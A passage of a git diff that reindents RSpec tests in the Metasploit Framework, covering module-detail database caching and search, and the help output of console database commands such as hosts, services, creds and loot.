- let(:email) do - FactoryGirl.generate :mdm_module_author_email - end - - let(:name) do - FactoryGirl.generate :mdm_module_author_name - end - - let(:bits) do - super() << [ - :author, - { - :email => email, - :name => name - } - ] - end - - it 'should create an Mdm::Module::Author' do - expect { - update_module_details - }.to change(Mdm::Module::Author, :count).by(1) - end - - context 'Mdm::Module::Author' do - subject(:module_author) do - module_detail.authors.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - its(:email) { should == email } - end - end - - context 'with :platform' do - let(:bits) do - super() << [ - :platform, - { - :name => name - } - ] - end - - let(:name) do - FactoryGirl.generate :mdm_module_platform_name - end - - it 'should create an Mdm::Module::Platform' do - expect { - update_module_details - }.to change(Mdm::Module::Platform, :count).by(1) - end - - context 'Mdm::Module::Platform' do - subject(:module_platform) do - module_detail.platforms.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :ref' do - let(:bits) do - super() << [ - :ref, - { - :name => name - } - ] - end - - let(:name) do - FactoryGirl.generate :mdm_module_ref_name - end - - it 'should create an Mdm::Module::Ref' do - expect { - update_module_details - }.to change(Mdm::Module::Ref, :count).by(1) - end - - context 'Mdm::Module::Ref' do - subject(:module_ref) do - module_detail.refs.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :target' do - let(:bits) do - super() << [ - :target, - { - :index => index, - :name => name - } - ] - end - - let(:index) do - FactoryGirl.generate :mdm_module_target_index - end - - let(:name) do - FactoryGirl.generate :mdm_module_target_name - end - - it 'should create an Mdm::Module::Target' do - expect { - update_module_details - }.to change(Mdm::Module::Target, :count).by(1) - end - - context 'Mdm::Module::Target' do - subject(:module_target) do - module_detail.targets.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:index) { should == index } - its(:name) { should == name } - end - end - end - end - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'admin/2wire/xslt_password_reset', - :type => 'auxiliary' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'generic/none', - :type => 'encoder' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'windows/smb/ms08_067_netapi', - :type => 'exploit' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'x64/simple', - :type => 'nop' - - # @todo determine how to load a single payload to test payload type outside of msfconsole + target_module_detail.name.inspect + end + + it 'should match Mdm::Module::Detail#name' do + module_details.count.should == 1 + + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + }.should be_true + end + end + end + + context 'with Mdm::Module::Platform#name' do + let(:search_string) do + module_platform.name + end + + let!(:module_platform) do + FactoryGirl.create(:mdm_module_platform) + end + + it 'should match Mdm::Module::Platform#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.platforms.any? { |module_platform| + module_platform.name == search_string + } + }.should be_true + end + end + + context 'with Mdm::Module::Ref#name' do + let(:search_string) do + module_ref.name + end + + let!(:module_ref) do + FactoryGirl.create(:mdm_module_ref) + end + + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == search_string + } + }.should be_true + end + end + + context 'with Mdm::Module::Target#name' do + let(:search_string) do + module_target.name + end + + let!(:module_target) do + FactoryGirl.create(:mdm_module_target) + end + + it 'should match Mdm::Module::Target#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.targets.any? { |module_target| + module_target.name == search_string + } + }.should be_true + end + end + end + end + + context '#update_all_module_details' do + def update_all_module_details + db_manager.update_all_module_details + end + + let(:migrated) do + false + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let(:modules_caching) do + true + end + + before(:each) do + db_manager.stub(:modules_caching => modules_caching) + end + + context 'with modules_caching' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + + context 'without modules_caching' do + let(:modules_caching) do + false + end + + it 'should create a connection' do + ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original + + update_all_module_details + end + + it 'should set framework.cache_thread to current thread and then nil around connection' do + framework.should_receive(:cache_thread=).with(Thread.current).ordered + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered + framework.should_receive(:cache_thread=).with(nil).ordered + + update_all_module_details + + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original + end + + it 'should set modules_cached to false and then true around connection' do + db_manager.should_receive(:modules_cached=).with(false).ordered + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered + db_manager.should_receive(:modules_cached=).with(true).ordered + + update_all_module_details + + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original + end + + it 'should set modules_caching to true and then false around connection' do + db_manager.should_receive(:modules_caching=).with(true).ordered + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered + db_manager.should_receive(:modules_caching=).with(false).ordered + + update_all_module_details + + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original + end + + context 'with Mdm::Module::Details' do + let(:module_pathname) do + parent_pathname.join( + 'exploits', + "#{reference_name}.rb" + ) + end + + let(:modification_time) do + module_pathname.mtime + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:type) do + 'exploit' + end + + let!(:module_detail) do + # needs to reference a real module so that it can be loaded + FactoryGirl.create( + :mdm_module_detail, + :file => module_pathname.to_path, + :mtime => modification_time, + :mtype => type, + :ready => ready, + :refname => reference_name + ) + end + + context '#ready' do + context 'false' do + let(:ready) do + false + end + + it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' + end + + context 'true' do + let(:ready) do + true + end + + context 'with existing Mdm::Module::Detail#file' do + context 'with same Mdm::Module::Detail#mtime and File.mtime' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + + context 'without same Mdm::Module::Detail#mtime and File.mtime' do + let(:modification_time) do + # +1 as rand can return 0 and the time must be different for + # this context. + super() - (rand(1.day) + 1) + end + + it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' + end + end + + # Emulates a module being removed or renamed + context 'without existing Mdm::Module::Detail#file' do + # have to compute modification manually since the + # `module_pathname` refers to a non-existent file and + # `module_pathname.mtime` would error. + let(:modification_time) do + Time.now.utc - 1.day + end + + let(:module_pathname) do + parent_pathname.join('exploits', 'deleted.rb') + end + + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + end + end + end + end + end + + context 'without migrated' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + end + + context '#update_module_details' do + def update_module_details + db_manager.update_module_details(module_instance) + end + + let(:loader) do + loader = framework.modules.send(:loaders).find { |loader| + loader.loadable?(parent_path) + } + + # Override load_error so that rspec will print it instead of going to framework log + def loader.load_error(module_path, error) + raise error + end + + loader + end + + let(:migrated) do + false + end + + let(:module_instance) do + # make sure the module is loaded into the module_set + loaded = loader.load_module(parent_path, module_type, module_reference_name) + + unless loaded + module_path = loader.module_path(parent_path, type, module_reference_name) + + fail "#{description} failed to load: #{module_path}" + end + + module_set.create(module_reference_name) + end + + let(:module_set) do + framework.modules.module_set(module_type) + end + + let(:module_type) do + 'exploit' + end + + let(:module_reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:parent_path) do + parent_pathname.to_path + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:type_directory) do + 'exploits' + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + it 'should create connection' do + ActiveRecord::Base.connection_pool.should_receive(:with_connection) + ActiveRecord::Base.connection_pool.should_receive(:with_connection).and_call_original + + update_module_details + end + + it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do + db_manager.should_receive(:module_to_details_hash).and_call_original + + update_module_details + end + + it 'should create an Mdm::Module::Detail' do + expect { + update_module_details + }.to change(Mdm::Module::Detail, :count).by(1) + end + + + context 'module_to_details_hash' do + let(:module_to_details_hash) do + { + :mtype => module_type, + :privileged => privileged, + :rank => rank, + :refname => module_reference_name, + :stance => stance + } + end + + let(:privileged) do + FactoryGirl.generate :mdm_module_detail_privileged + end + + let(:rank) do + FactoryGirl.generate :mdm_module_detail_rank + end + + let(:stance) do + FactoryGirl.generate :mdm_module_detail_stance + end + + before(:each) do + db_manager.stub( + :module_to_details_hash + ).with( + module_instance + ).and_return( + module_to_details_hash + ) + end + + context 'Mdm::Module::Detail' do + subject(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:mtype) { should == module_type } + its(:privileged) { should == privileged } + its(:rank) { should == rank } + its(:ready) { should == true } + its(:refname) { should == module_reference_name } + its(:stance) { should == stance } + end + + context 'with :bits' do + let(:bits) do + [] + end + + before(:each) do + module_to_details_hash[:bits] = bits + end + + context 'with :action' do + let(:name) do + FactoryGirl.generate :mdm_module_action_name + end + + let(:bits) do + super() << [ + :action, + { + :name => name + } + ] + end + + it 'should create an Mdm::Module::Action' do + expect { + update_module_details + }.to change(Mdm::Module::Action, :count).by(1) + end + + context 'Mdm::Module::Action' do + subject(:module_action) do + module_detail.actions.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :arch' do + let(:name) do + FactoryGirl.generate :mdm_module_arch_name + end + + let(:bits) do + super() << [ + :arch, + { + :name => name + } + ] + end + + it 'should create an Mdm::Module::Arch' do + expect { + update_module_details + }.to change(Mdm::Module::Arch, :count).by(1) + end + + context 'Mdm::Module::Arch' do + subject(:module_arch) do + module_detail.archs.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :author' do + let(:email) do + FactoryGirl.generate :mdm_module_author_email + end + + let(:name) do + FactoryGirl.generate :mdm_module_author_name + end + + let(:bits) do + super() << [ + :author, + { + :email => email, + :name => name + } + ] + end + + it 'should create an Mdm::Module::Author' do + expect { + update_module_details + }.to change(Mdm::Module::Author, :count).by(1) + end + + context 'Mdm::Module::Author' do + subject(:module_author) do + module_detail.authors.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + its(:email) { should == email } + end + end + + context 'with :platform' do + let(:bits) do + super() << [ + :platform, + { + :name => name + } + ] + end + + let(:name) do + FactoryGirl.generate :mdm_module_platform_name + end + + it 'should create an Mdm::Module::Platform' do + expect { + update_module_details + }.to change(Mdm::Module::Platform, :count).by(1) + end + + context 'Mdm::Module::Platform' do + subject(:module_platform) do + module_detail.platforms.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :ref' do + let(:bits) do + super() << [ + :ref, + { + :name => name + } + ] + end + + let(:name) do + FactoryGirl.generate :mdm_module_ref_name + end + + it 'should create an Mdm::Module::Ref' do + expect { + update_module_details + }.to change(Mdm::Module::Ref, :count).by(1) + end + + context 'Mdm::Module::Ref' do + subject(:module_ref) do + module_detail.refs.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :target' do + let(:bits) do + super() << [ + :target, + { + :index => index, + :name => name + } + ] + end + + let(:index) do + FactoryGirl.generate :mdm_module_target_index + end + + let(:name) do + FactoryGirl.generate :mdm_module_target_name + end + + it 'should create an Mdm::Module::Target' do + expect { + update_module_details + }.to change(Mdm::Module::Target, :count).by(1) + end + + context 'Mdm::Module::Target' do + subject(:module_target) do + module_detail.targets.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:index) { should == index } + its(:name) { should == name } + end + end + end + end + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'admin/2wire/xslt_password_reset', + :type => 'auxiliary' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'generic/none', + :type => 'encoder' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'windows/smb/ms08_067_netapi', + :type => 'exploit' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'x64/simple', + :type => 'nop' + + # @todo determine how to load a single payload to test payload type outside of msfconsole it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'windows/escalate/screen_unlock', - :type => 'post' - end + :reference_name => 'windows/escalate/screen_unlock', + :type => 'post' + end - context 'without migrated' do - it 'should not create an Mdm::Module::Detail' do - expect { - update_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end + context 'without migrated' do + it 'should not create an Mdm::Module::Detail' do + expect { + update_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end end diff --git a/spec/lib/msf/ui/command_dispatcher/auxiliary_spec.rb b/spec/lib/msf/ui/command_dispatcher/auxiliary_spec.rb index 3b98e07fd4..ad2c6e57f8 100644 --- a/spec/lib/msf/ui/command_dispatcher/auxiliary_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/auxiliary_spec.rb @@ -4,22 +4,22 @@ require 'msf/ui' require 'msf/ui/console/command_dispatcher/auxiliary' describe Msf::Ui::Console::CommandDispatcher::Auxiliary do - include_context 'Msf::DBManager' - include_context 'Msf::UIDriver' + include_context 'Msf::DBManager' + include_context 'Msf::UIDriver' - subject(:aux) do - described_class.new(driver) - end + subject(:aux) do + described_class.new(driver) + end - describe "#cmd_run" do - end + describe "#cmd_run" do + end - describe "#cmd_rerun" do - end + describe "#cmd_rerun" do + end - describe "#cmd_exploit" do - end + describe "#cmd_exploit" do + end - describe "#cmd_reload" do - end + describe "#cmd_reload" do + end end diff --git a/spec/lib/msf/ui/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/command_dispatcher/core_spec.rb index f1fff484ef..69693eb5b8 100644 --- a/spec/lib/msf/ui/command_dispatcher/core_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/core_spec.rb @@ -5,94 +5,94 @@ require 'msf/ui/console/module_command_dispatcher' require 'msf/ui/console/command_dispatcher/core' describe Msf::Ui::Console::CommandDispatcher::Core do - include_context 'Msf::DBManager' - include_context 'Msf::UIDriver' + include_context 'Msf::DBManager' + include_context 'Msf::UIDriver' - subject(:core) do - described_class.new(driver) - end + subject(:core) do + described_class.new(driver) + end - context '#search_modules_sql' do - def search_modules_sql - core.search_modules_sql(match) - end + context '#search_modules_sql' do + def search_modules_sql + core.search_modules_sql(match) + end - let(:match) do - '' - end + let(:match) do + '' + end - it 'should generate Matching Modules table' do - core.should_receive(:generate_module_table).with('Matching Modules').and_call_original + it 'should generate Matching Modules table' do + core.should_receive(:generate_module_table).with('Matching Modules').and_call_original - search_modules_sql - end + search_modules_sql + end - it 'should call Msf::DBManager#search_modules' do - db_manager.should_receive(:search_modules).with(match).and_return([]) + it 'should call Msf::DBManager#search_modules' do + db_manager.should_receive(:search_modules).with(match).and_return([]) - search_modules_sql - end + search_modules_sql + end - context 'with matching Mdm::Module::Details' do - let(:match) do - module_detail.fullname - end + context 'with matching Mdm::Module::Details' do + let(:match) do + module_detail.fullname + end - let!(:module_detail) do - FactoryGirl.create(:mdm_module_detail) - end + let!(:module_detail) do + FactoryGirl.create(:mdm_module_detail) + end - context 'printed table' do - def cell(table, row, column) - row_line_number = 6 + row - line_number = 0 + context 'printed table' do + def cell(table, row, column) + row_line_number = 6 + row + line_number = 0 - cell = nil + cell = nil - table.each_line do |line| - if line_number == row_line_number - # strip prefix and postfix - padded_cells = line[3...-1] - cells = padded_cells.split(/\s{2,}/) + table.each_line do |line| + if line_number == row_line_number + # strip prefix and postfix + padded_cells = line[3...-1] + cells = padded_cells.split(/\s{2,}/) - cell = cells[column] - break - end + cell = cells[column] + break + end - line_number += 1 - end + line_number += 1 + end - cell - end + cell + end - let(:printed_table) do - table = '' + let(:printed_table) do + table = '' - core.stub(:print_line) do |string| - table = string - end + core.stub(:print_line) do |string| + table = string + end - search_modules_sql + search_modules_sql - table - end + table + end - it 'should have fullname in first column' do - cell(printed_table, 0, 0).should include(module_detail.fullname) - end + it 'should have fullname in first column' do + cell(printed_table, 0, 0).should include(module_detail.fullname) + end - it 'should have disclosure date in second column' do - cell(printed_table, 0, 1).should include(module_detail.disclosure_date.to_s) - end + it 'should have disclosure date in second column' do + cell(printed_table, 0, 1).should include(module_detail.disclosure_date.to_s) + end - it 'should have rank name in third column' do - cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank]) - end + it 'should have rank name in third column' do + cell(printed_table, 0, 2).should include(Msf::RankingName[module_detail.rank]) + end - it 'should have name in fourth column' do - cell(printed_table, 0, 3).should include(module_detail.name) - end - end - end - end + it 'should have name in fourth column' do + cell(printed_table, 0, 3).should include(module_detail.name) + end + end + end + end end diff --git a/spec/lib/msf/ui/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/command_dispatcher/db_spec.rb index 0543bde408..390533e779 100644 --- a/spec/lib/msf/ui/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/db_spec.rb @@ -4,264 +4,264 @@ require 'msf/ui' require 'msf/ui/console/command_dispatcher/db' describe Msf::Ui::Console::CommandDispatcher::Db do - include_context 'Msf::DBManager' - include_context 'Msf::UIDriver' + include_context 'Msf::DBManager' + include_context 'Msf::UIDriver' - subject(:db) do - described_class.new(driver) - end + subject(:db) do + described_class.new(driver) + end - describe "#cmd_workspace" do - describe "-h" do - it "should show a help message" do - db.cmd_workspace "-h" - @output.should =~ [ - "Usage:", - " workspace List workspaces", - " workspace [name] Switch workspace", - " workspace -a [name] ... Add workspace(s)", - " workspace -d [name] ... Delete workspace(s)", - " workspace -r <old> <new> Rename workspace", - " workspace -h Show this help information" - ] - end - end - end + describe "#cmd_workspace" do + describe "-h" do + it "should show a help message" do + db.cmd_workspace "-h" + @output.should =~ [ + "Usage:", + " workspace List workspaces", + " workspace [name] Switch workspace", + " workspace -a [name] ... Add workspace(s)", + " workspace -d [name] ... Delete workspace(s)", + " workspace -r <old> <new> Rename workspace", + " workspace -h Show this help information" + ] + end + end + end - describe "#cmd_hosts" do - describe "-h" do - it "should show a help message" do - db.cmd_hosts "-h" - @output.should =~ [ - "Usage: hosts [ options ] [addr1 addr2 ...]", - "OPTIONS:", - " -a,--add Add the hosts instead of searching", - " -d,--delete Delete the hosts instead of searching", - " -c <col1,col2> Only show the given columns (see list below)", - " -h,--help Show this help information", - " -u,--up Only show hosts which are up", - " -o <file> Send output to a file in csv format", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Search string to filter by", - "Available columns: address, arch, comm, comments, created_at, cred_count, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count" - ] - end - end - end + describe "#cmd_hosts" do + describe "-h" do + it "should show a help message" do + db.cmd_hosts "-h" + @output.should =~ [ + "Usage: hosts [ options ] [addr1 addr2 ...]", + "OPTIONS:", + " -a,--add Add the hosts instead of searching", + " -d,--delete Delete the hosts instead of searching", + " -c <col1,col2> Only show the given columns (see list below)", + " -h,--help Show this help information", + " -u,--up Only show hosts which are up", + " -o <file> Send output to a file in csv format", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Search string to filter by", + "Available columns: address, arch, comm, comments, created_at, cred_count, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count" + ] + end + end + end - describe "#cmd_services" do - describe "-h" do - it "should show a help message" do - db.cmd_services "-h" - @output.should =~ [ - "Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]", - " -a,--add Add the services instead of searching", - " -d,--delete Delete the services instead of searching", - " -c <col1,col2> Only show the given columns", - " -h,--help Show this help information", - " -s <name1,name2> Search for a list of service names", - " -p <port1,port2> Search for a list of ports", - " -r <protocol> Only show [tcp|udp] services", - " -u,--up Only show services which are up", - " -o <file> Send output to a file in csv format", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Search string to filter by", - "Available columns: created_at, info, name, port, proto, state, updated_at" - ] - end - end - describe "-p" do - before(:each) do - host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") - FactoryGirl.create(:mdm_service, :host => host, :port => 1024) - FactoryGirl.create(:mdm_service, :host => host, :port => 1025) - FactoryGirl.create(:mdm_service, :host => host, :port => 1026) - end - it "should list services that are on a given port" do - db.cmd_services "-p", "1024,1025" - @output.should =~ [ - "Services", - "========", - "", - "host port proto name state info", - "---- ---- ----- ---- ----- ----", - "192.168.0.1 1024 snmp open ", - "192.168.0.1 1025 snmp open " - ] - end - end - describe "-np" do - before(:each) do - host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") - FactoryGirl.create(:mdm_service, :host => host, :port => 1024) - FactoryGirl.create(:mdm_service, :host => host, :port => 1025) - FactoryGirl.create(:mdm_service, :host => host, :port => 1026) - end - it "should list services that are not on a given port" do - pending("refs redmine ticket #4821") { - db.cmd_services "-np", "1024" + describe "#cmd_services" do + describe "-h" do + it "should show a help message" do + db.cmd_services "-h" + @output.should =~ [ + "Usage: services [-h] [-u] [-a] [-r <proto>] [-p <port1,port2>] [-s <name1,name2>] [-o <filename>] [addr1 addr2 ...]", + " -a,--add Add the services instead of searching", + " -d,--delete Delete the services instead of searching", + " -c <col1,col2> Only show the given columns", + " -h,--help Show this help information", + " -s <name1,name2> Search for a list of service names", + " -p <port1,port2> Search for a list of ports", + " -r <protocol> Only show [tcp|udp] services", + " -u,--up Only show services which are up", + " -o <file> Send output to a file in csv format", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Search string to filter by", + "Available columns: created_at, info, name, port, proto, state, updated_at" + ] + end + end + describe "-p" do + before(:each) do + host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") + FactoryGirl.create(:mdm_service, :host => host, :port => 1024) + FactoryGirl.create(:mdm_service, :host => host, :port => 1025) + FactoryGirl.create(:mdm_service, :host => host, :port => 1026) + end + it "should list services that are on a given port" do + db.cmd_services "-p", "1024,1025" + @output.should =~ [ + "Services", + "========", + "", + "host port proto name state info", + "---- ---- ----- ---- ----- ----", + "192.168.0.1 1024 snmp open ", + "192.168.0.1 1025 snmp open " + ] + end + end + describe "-np" do + before(:each) do + host = FactoryGirl.create(:mdm_host, :workspace => framework.db.workspace, :address => "192.168.0.1") + FactoryGirl.create(:mdm_service, :host => host, :port => 1024) + FactoryGirl.create(:mdm_service, :host => host, :port => 1025) + FactoryGirl.create(:mdm_service, :host => host, :port => 1026) + end + it "should list services that are not on a given port" do + pending("refs redmine ticket #4821") { + db.cmd_services "-np", "1024" - @output.should =~ [ - "Services", - "========", - "", - "host port proto name state info", - "---- ---- ----- ---- ----- ----", - "192.168.0.1 1025 snmp open ", - "192.168.0.1 1026 snmp open " - ] - } - end - end - end + @output.should =~ [ + "Services", + "========", + "", + "host port proto name state info", + "---- ---- ----- ---- ----- ----", + "192.168.0.1 1025 snmp open ", + "192.168.0.1 1026 snmp open " + ] + } + end + end + end - describe "#cmd_vulns" do - describe "-h" do - it "should show a help message" do - db.cmd_vulns "-h" - @output.should =~ [ - "Print all vulnerabilities in the database", - "Usage: vulns [addr range]", - " -h,--help Show this help information", - " -p,--port <portspec> List vulns matching this port spec", - " -s <svc names> List vulns matching these service names", - " -S,--search Search string to filter by", - " -i,--info Display Vuln Info", - "Examples:", - " vulns -p 1-65536 # only vulns with associated services", - " vulns -p 1-65536 -s http # identified as http on any port" - ] - end - end + describe "#cmd_vulns" do + describe "-h" do + it "should show a help message" do + db.cmd_vulns "-h" + @output.should =~ [ + "Print all vulnerabilities in the database", + "Usage: vulns [addr range]", + " -h,--help Show this help information", + " -p,--port <portspec> List vulns matching this port spec", + " -s <svc names> List vulns matching these service names", + " -S,--search Search string to filter by", + " -i,--info Display Vuln Info", + "Examples:", + " vulns -p 1-65536 # only vulns with associated services", + " vulns -p 1-65536 -s http # identified as http on any port" + ] + end + end - end + end - describe "#cmd_notes" do - describe "-h" do - it "should show a help message" do - db.cmd_notes "-h" - @output.should =~ [ - "Usage: notes [-h] [-t <type1,type2>] [-n <data string>] [-a] [addr range]", - " -a,--add Add a note to the list of addresses, instead of listing", - " -d,--delete Delete the hosts instead of searching", - " -n,--note <data> Set the data for a new note (only with -a)", - " -t <type1,type2> Search for a list of types", - " -h,--help Show this help information", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Regular expression to match for search", - " --sort <field1,field2> Fields to sort by (case sensitive)", - "Examples:", - " notes --add -t apps -n 'winzip' 10.1.1.34 10.1.20.41", - " notes -t smb.fingerprint 10.1.1.34 10.1.20.41", - " notes -S 'nmap.nse.(http|rtsp)' --sort type,output" - ] + describe "#cmd_notes" do + describe "-h" do + it "should show a help message" do + db.cmd_notes "-h" + @output.should =~ [ + "Usage: notes [-h] [-t <type1,type2>] [-n <data string>] [-a] [addr range]", + " -a,--add Add a note to the list of addresses, instead of listing", + " -d,--delete Delete the hosts instead of searching", + " -n,--note <data> Set the data for a new note (only with -a)", + " -t <type1,type2> Search for a list of types", + " -h,--help Show this help information", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Regular expression to match for search", + " --sort <field1,field2> Fields to sort by (case sensitive)", + "Examples:", + " notes --add -t apps -n 'winzip' 10.1.1.34 10.1.20.41", + " notes -t smb.fingerprint 10.1.1.34 10.1.20.41", + " notes -S 'nmap.nse.(http|rtsp)' --sort type,output" + ] - end - end + end + end - end + end - describe "#cmd_loot" do - describe "-h" do - it "should show a help message" do - db.cmd_loot "-h" - @output.should =~ [ - "Usage: loot <options>", - " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]", - " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]", - " Del: loot -d [addr1 addr2 ...]", - " -a,--add Add loot to the list of addresses, instead of listing", - " -d,--delete Delete *all* loot matching host and type", - " -f,--file File with contents of the loot to add", - " -i,--info Info of the loot to add", - " -t <type1,type2> Search for a list of types", - " -h,--help Show this help information", - " -S,--search Search string to filter by" - ] - end - end + describe "#cmd_loot" do + describe "-h" do + it "should show a help message" do + db.cmd_loot "-h" + @output.should =~ [ + "Usage: loot <options>", + " Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]", + " Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]", + " Del: loot -d [addr1 addr2 ...]", + " -a,--add Add loot to the list of addresses, instead of listing", + " -d,--delete Delete *all* loot matching host and type", + " -f,--file File with contents of the loot to add", + " -i,--info Info of the loot to add", + " -t <type1,type2> Search for a list of types", + " -h,--help Show this help information", + " -S,--search Search string to filter by" + ] + end + end - end + end - describe "#cmd_creds" do - describe "-h" do - it "should show a help message" do - db.cmd_creds "-h" - @output.should =~ [ - "Usage: creds [addr range]", - "Usage: creds -a <addr range> -p <port> -t <type> -u <user> -P <pass>", - " -a,--add Add creds to the given addresses instead of listing", - " -d,--delete Delete the creds instead of searching", - " -h,--help Show this help information", - " -o <file> Send output to a file in csv format", - " -p,--port <portspec> List creds matching this port spec", - " -s <svc names> List creds matching these service names", - " -t,--type <type> Add a cred of this type (only with -a). Default: password", - " -u,--user Add a cred for this user (only with -a). Default: blank", - " -P,--password Add a cred with this password (only with -a). Default: blank", - " -R,--rhosts Set RHOSTS from the results of the search", - " -S,--search Search string to filter by", - "Examples:", - " creds # Default, returns all active credentials", - " creds all # Returns all credentials active or not", - " creds 1.2.3.4/24 # nmap host specification", - " creds -p 22-25,445 # nmap port specification", - " creds 10.1.*.* -s ssh,smb all" - ] - end - end - end + describe "#cmd_creds" do + describe "-h" do + it "should show a help message" do + db.cmd_creds "-h" + @output.should =~ [ + "Usage: creds [addr range]", + "Usage: creds -a <addr range> -p <port> -t <type> -u <user> -P <pass>", + " -a,--add Add creds to the given addresses instead of listing", + " -d,--delete Delete the creds instead of searching", + " -h,--help Show this help information", + " -o <file> Send output to a file in csv format", + " -p,--port <portspec> List creds matching this port spec", + " -s <svc names> List creds matching these service names", + " -t,--type <type> Add a cred of this type (only with -a). Default: password", + " -u,--user Add a cred for this user (only with -a). Default: blank", + " -P,--password Add a cred with this password (only with -a). Default: blank", + " -R,--rhosts Set RHOSTS from the results of the search", + " -S,--search Search string to filter by", + "Examples:", + " creds # Default, returns all active credentials", + " creds all # Returns all credentials active or not", + " creds 1.2.3.4/24 # nmap host specification", + " creds -p 22-25,445 # nmap port specification", + " creds 10.1.*.* -s ssh,smb all" + ] + end + end + end - describe "#cmd_db_import" do - describe "-h" do - it "should show a help message" do - db.cmd_db_import "-h" - @output.should =~ [ - "Usage: db_import <filename> [file2...]", - "Filenames can be globs like *.xml, or **/*.xml which will search recursively", - "Currently supported file types include:", - " Acunetix XML", - " Amap Log", - " Amap Log -m", - " Appscan XML", - " Burp Session XML", - " Foundstone XML", - " IP360 ASPL", - " IP360 XML v3", - " Microsoft Baseline Security Analyzer", - " Nessus NBE", - " Nessus XML (v1 and v2)", - " NetSparker XML", - " NeXpose Simple XML", - " NeXpose XML Report", - " Nmap XML", - " OpenVAS Report", - " Qualys Asset XML", - " Qualys Scan XML", - " Retina XML" - ] - end - end - end + describe "#cmd_db_import" do + describe "-h" do + 